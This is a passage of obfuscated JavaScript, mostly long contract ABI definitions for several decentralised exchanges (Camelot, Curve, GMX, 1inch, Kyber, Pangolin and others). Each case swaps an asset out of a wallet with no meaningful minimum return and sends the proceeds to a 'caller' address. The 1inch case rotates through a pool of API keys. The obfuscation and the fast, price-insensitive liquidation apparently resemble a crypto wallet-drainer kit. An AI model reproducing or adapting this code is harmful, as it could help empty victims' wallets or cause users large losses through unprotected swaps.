stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "newOwner", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "_sourceToken", | |
type: "address" | |
}, { | |
name: "_targetToken", | |
type: "address" | |
}], | |
name: "conversionPath", | |
outputs: [{ | |
name: "", | |
type: "address[]" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}, { | |
name: "_affiliateAccount", | |
type: "address" | |
}, { | |
name: "_affiliateFee", | |
type: "uint256" | |
}], | |
name: "claimAndConvert2", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_path", | |
type: "address[]" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_minReturn", | |
type: "uint256" | |
}], | |
name: "convert", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "_maxAffiliateFee", | |
type: "uint256" | |
}], | |
name: "setMaxAffiliateFee", | |
outputs: [], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
name: "_registry", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "_smartToken", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "_fromToken", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "_toToken", | |
type: "address" | |
}, { | |
indexed: false, | |
name: "_fromAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "_toAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "_trader", | |
type: "address" | |
}], | |
name: "Conversion", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "_prevOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "_newOwner", | |
type: "address" | |
}], | |
name: "OwnerUpdate", | |
type: "event" | |
}]; | |
let _0x1e862c = new ethers.Contract(_0x2b7b1b, _0x572c6e, _0x9d9505); | |
let _0x17e466 = "0xdac17f958d2ee523a2206206994597c13d831ec7"; | |
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") { | |
_0x17e466 = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; | |
} | |
let _0x564db5 = await _0x1e862c.conversionPath(_0x4f37a4.asset.token, _0x17e466); | |
console.log(_0x564db5); | |
return [_0x1e862c.convertByPath(_0x564db5, _0x4f37a4.asset.amount, 1, this.caller, "0x0000000000000000000000000000000000000000", "0"), _0x17e466]; | |
} | |
case "Camelot": | |
{ | |
let _0x1d8ae3 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token1", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "token2", | |
type: "address" | |
}], | |
name: "getPair", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "referrer", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "referrer", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "referrer", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0xd25e7e = new ethers.Contract(_0x2b7b1b, _0x1d8ae3, _0x9d9505); | |
let _0x211363 = []; | |
_0x211363[0] = _0x4f37a4.asset.token; | |
_0x211363[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"; | |
return [_0xd25e7e.swapExactTokensForTokensSupportingFeeOnTransferTokens(_0x4f37a4.asset.amount, 0, _0x211363, this.caller, "0x0000000000000000000000000000000000000000", _0x1b1427), _0x211363[1]]; | |
} | |
case "Curve": | |
case "CurveVyper1": | |
{ | |
let _0x5bfc77 = [{ | |
stateMutability: "nonpayable", | |
type: "function", | |
name: "exchange_with_best_rate", | |
inputs: [{ | |
name: "_from", | |
type: "address" | |
}, { | |
name: "_to", | |
type: "address" | |
}, { | |
name: "_amount", | |
type: "uint256" | |
}, { | |
name: "_expected", | |
type: "uint256" | |
}, { | |
name: "_receiver", | |
type: "address" | |
}], | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}] | |
}]; | |
let _0x25e902 = new ethers.Contract(_0x2b7b1b, _0x5bfc77, _0x9d9505); | |
return [_0x25e902.exchange_with_best_rate(_0x4f37a4.asset.token, "0x6b175474e89094c44da98b954eedeac495271d0f", _0x4f37a4.asset.amount, 0, this.caller), "0x6b175474e89094c44da98b954eedeac495271d0f"]; | |
} | |
case "GMX": | |
{ | |
let _0x185f52 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_vault", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_usdg", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_weth", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
name: "Swap", | |
type: "event" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_plugin", | |
type: "address" | |
}], | |
name: "addPlugin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_plugin", | |
type: "address" | |
}], | |
name: "approvePlugin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "approvedPlugins", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_collateralToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_collateralDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "decreasePosition", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_collateralDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}], | |
name: "decreasePositionAndSwap", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_collateralDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "address payable", | |
name: "_receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}], | |
name: "decreasePositionAndSwapETH", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_collateralToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_collateralDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "address payable", | |
name: "_receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "decreasePositionETH", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_plugin", | |
type: "address" | |
}], | |
name: "denyPlugin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "directPoolDeposit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "gov", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "increasePosition", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "increasePositionETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_collateralToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_collateralDelta", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}], | |
name: "pluginDecreasePosition", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_collateralToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_indexToken", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_sizeDelta", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "_isLong", | |
type: "bool" | |
}], | |
name: "pluginIncreasePosition", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_account", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "pluginTransfer", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
name: "plugins", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_plugin", | |
type: "address" | |
}], | |
name: "removePlugin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_gov", | |
type: "address" | |
}], | |
name: "setGov", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}], | |
name: "swap", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_receiver", | |
type: "address" | |
}], | |
name: "swapETHToTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address[]", | |
name: "_path", | |
type: "address[]" | |
}, { | |
internalType: "uint256", | |
name: "_amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_minOut", | |
type: "uint256" | |
}, { | |
internalType: "address payable", | |
name: "_receiver", | |
type: "address" | |
}], | |
name: "swapTokensToETH", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "usdg", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "vault", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "weth", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0xcd9e05 = new ethers.Contract(_0x2b7b1b, _0x185f52, _0x9d9505); | |
let _0x49b8cc = []; | |
_0x49b8cc[0] = _0x4f37a4.asset.token; | |
_0x49b8cc[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"; | |
return [_0xcd9e05.swap(_0x49b8cc, _0x4f37a4.asset.amount, 0, this.caller), "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"]; | |
} | |
case "1InchV5": | |
{ | |
let _0x46985e = this.oneInchKeys[Math.floor(Math.random() * this.oneInchKeys.length)]; | |
let _0x48a4fe = await fetch("https://api.1inch.dev/swap/v5.2/" + this.getChainId(_0x4f37a4.chain) + "/swap?src=" + _0x4f37a4.asset.token + "&dst=0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE&amount=" + _0x4f37a4.asset.amount + "&from=" + (await this.getWalletAddress()) + "&slippage=20&receiver=" + this.caller, { | |
method: "GET", | |
Headers: { | |
Authentication: "Bearer " + _0x46985e, | |
Accept: "application/json" | |
} | |
}); | |
if (_0x48a4fe.status == 200) { | |
let _0x106df7 = (await _0x48a4fe.json()).tx; | |
return [_0x9d9505.sendTransaction(_0x106df7), "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"]; | |
} else { | |
return [false, ""]; | |
} | |
} | |
case "Kyber": | |
{ | |
let _0x2a0733 = "ethereum"; | |
switch (_0x4f37a4.chain) { | |
case "eth": | |
_0x2a0733 = "ethereum"; | |
break; | |
case "avax": | |
_0x2a0733 = "avalanche"; | |
break; | |
case "bsc": | |
_0x2a0733 = "bsc"; | |
break; | |
case "arb": | |
_0x2a0733 = "arbitrum"; | |
break; | |
case "cro": | |
_0x2a0733 = "cronos"; | |
break; | |
case "ftm": | |
_0x2a0733 = "fantom"; | |
break; | |
case "matic": | |
_0x2a0733 = "polygon"; | |
break; | |
case "op": | |
_0x2a0733 = "optimism"; | |
break; | |
case "base": | |
_0x2a0733 = "base"; | |
break; | |
case "era": | |
_0x2a0733 = "zksync"; | |
break; | |
} | |
let _0x767dfd = "0xdac17f958d2ee523a2206206994597c13d831ec7"; | |
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") { | |
_0x767dfd = "0x6b175474e89094c44da98b954eedeac495271d0f"; | |
} | |
const _0x53024a = { | |
"x-client-id": "LiquidityMarkets" | |
}; | |
let _0x2bdb6e = await fetch("https://aggregator-api.kyberswap.com/" + _0x2a0733 + "/api/v1/routes?tokenIn=" + _0x4f37a4.asset.token + "&tokenOut=" + _0x767dfd + "&amountIn=" + _0x4f37a4.asset.amount + "&source=LiquidityMarkets", { | |
method: "GET", | |
headers: _0x53024a | |
}); | |
if (_0x2bdb6e.status == 200) { | |
let _0x2d8c89 = await _0x2bdb6e.json(); | |
console.log(_0x2d8c89); | |
let _0x43fd43 = { | |
routeSummary: _0x2d8c89.data.routeSummary, | |
deadline: _0x1b1427, | |
slippageTolerance: 20, | |
sender: await this.getWalletAddress(), | |
recipient: this.caller, | |
source: "LiquidityMarkets" | |
}; | |
let _0x353c9e = await fetch("https://aggregator-api.kyberswap.com/" + _0x2a0733 + "/api/v1/route/build", { | |
method: "POST", | |
body: JSON.stringify(_0x43fd43), | |
headers: { | |
"x-client-id": "LiquidityMarkets" | |
} | |
}); | |
if (_0x353c9e.status == 200) { | |
let _0x26ee4e = await _0x353c9e.json(); | |
const _0xb8ae5d = { | |
from: await this.getWalletAddress(), | |
to: _0x26ee4e.data.routerAddress, | |
data: _0x26ee4e.data.data, | |
gasLimit: "0x" + _0x26ee4e.data.gas.toString(16) | |
}; | |
return [_0x9d9505.sendTransaction(_0xb8ae5d), _0x767dfd]; | |
} else { | |
return [false, ""]; | |
} | |
} else { | |
return [false, ""]; | |
} | |
} | |
case "Pangolin": | |
{ | |
let _0x351a89 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WAVAX", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WAVAX", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
